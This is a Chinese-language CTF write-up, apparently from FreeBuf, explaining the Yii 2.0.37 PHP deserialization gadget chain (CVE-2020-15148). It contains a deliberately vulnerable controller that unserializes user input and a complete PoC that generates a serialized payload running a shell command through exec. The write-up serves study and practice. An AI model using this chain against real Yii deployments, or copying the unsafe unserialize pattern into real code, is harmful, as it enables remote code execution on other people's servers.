freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

yii反序列化2.0.37
2022-11-28 19:40:08
所属地 海外

YII2.0.37

CVE-2020-15148

最近在练习反序列化,又做到了一个yii的题,ctfshowweb267

这里理一下链子

环境搭建

去github下载一个就行了

https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

记得要修改config\web.php中的cookieValidationKey,什么值都可以,主要是防止报错

因为需要用户可以控制反序列的传入值,这里就在controller目录下创建一个controller

<?php

namespace app\controllers;

use Yii;
use yii\web\Controller;

class TestController extends Controller
{
public function actionIndex(){
  $name = Yii::$app->request->get('test');
  return unserialize(base64_decode($name));
}

}

主要是用来接收我们传入的值,这里是get方式接收test

前期准备完毕

对了,如果要运行yii的话,在phpstudy搭环境,然后在yii的basic根目录下运行 php yii serve

链子

其实链子简单,这个链子是用yii\db\BatchQueryResult类中的__destruct方法作为起点

1669635483_63849d9b3c235442ed6f8.png!small?1669635482877

里面有个reset方法,按住ctrl进入看看这个方法是什

1669635490_63849da23d7f074024f7c.png!small?1669635489889

里面是这个东西,其中有个判断

if ($this->_dataReader !== null) {
$this->_dataReader->close();
  }

这里调用了_dataReader的close方法,而我们的_dataReader是我们可控的,也就是说是调用这个的销毁方法,但是如果我们可以控制一个_dataReader没有close方法,那么不就可以调用到我们的__call魔术方法了吗

__call:当程序调用到当前类中未声明或没权限调用的方法时

那我们要调用谁的call呢?

我们去找找看哪儿有可以执行命令的call,双击shift可以打开搜索界面(这里是phpstorm)

1669635505_63849db14fde38084f209.png!small?1669635505932

看到一大堆call

这里师傅们找到的是Faker的Generator类,查看它的call

1669635510_63849db61dbcdc1329d90.png!small?1669635509813

这里是调用了format,传入的是method,和attributes,进入format方法看看

1669635516_63849dbc734b8f0f05198.png!small?1669635516024

这里是调用了call_user_func_array方法,里面的参数是$this->getFormatter(formatter)和arguments

public function getFormatter($formatter)
{
  if (isset($this->formatters[$formatter])) {
      return $this->formatters[$formatter];
  }

formatters是我们可以控制的,而call_user_func_array可以回调我们传入的函数

call_user_func_array(callable $callback, array $args): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入

所以如果这个时候我们传入的formatters是可以用来执行命令的,那么岂不是实现了我们的目的,又后面的array无法控制,但默认为空,所以可以整个call_user_func_array可以当做无参调用去调用formatter这个目标方法

这里师傅们找到的是yii\rest\IndexAction的run方法

public function run()
{
  if ($this->checkAccess) {
      call_user_func($this->checkAccess, $this->id);
  }

  return $this->prepareDataProvider();
}

这里的run方法调用了call_user_func方法,并且这里的checkAccess和id都是我们可以控制的传入

所以利用链到这里结束

<?
namespace yii\rest{
class CreateAction{
  public $checkAccess;
  public $id;
  public function __construct(){
      $this->checkAccess = 'exec';
      $this->id = 'cp /flag /var/www/html/basic/web/1.txt';
  }
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
  protected $formatters;
  public function __construct(){
      $this->formatters['close'] = [new CreateAction, 'run'];
  }
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
  private $_dataReader;
  public function __construct(){
      $this->_dataReader = new Generator;
  }
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

参考:https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA

# CTF # php反序列化漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录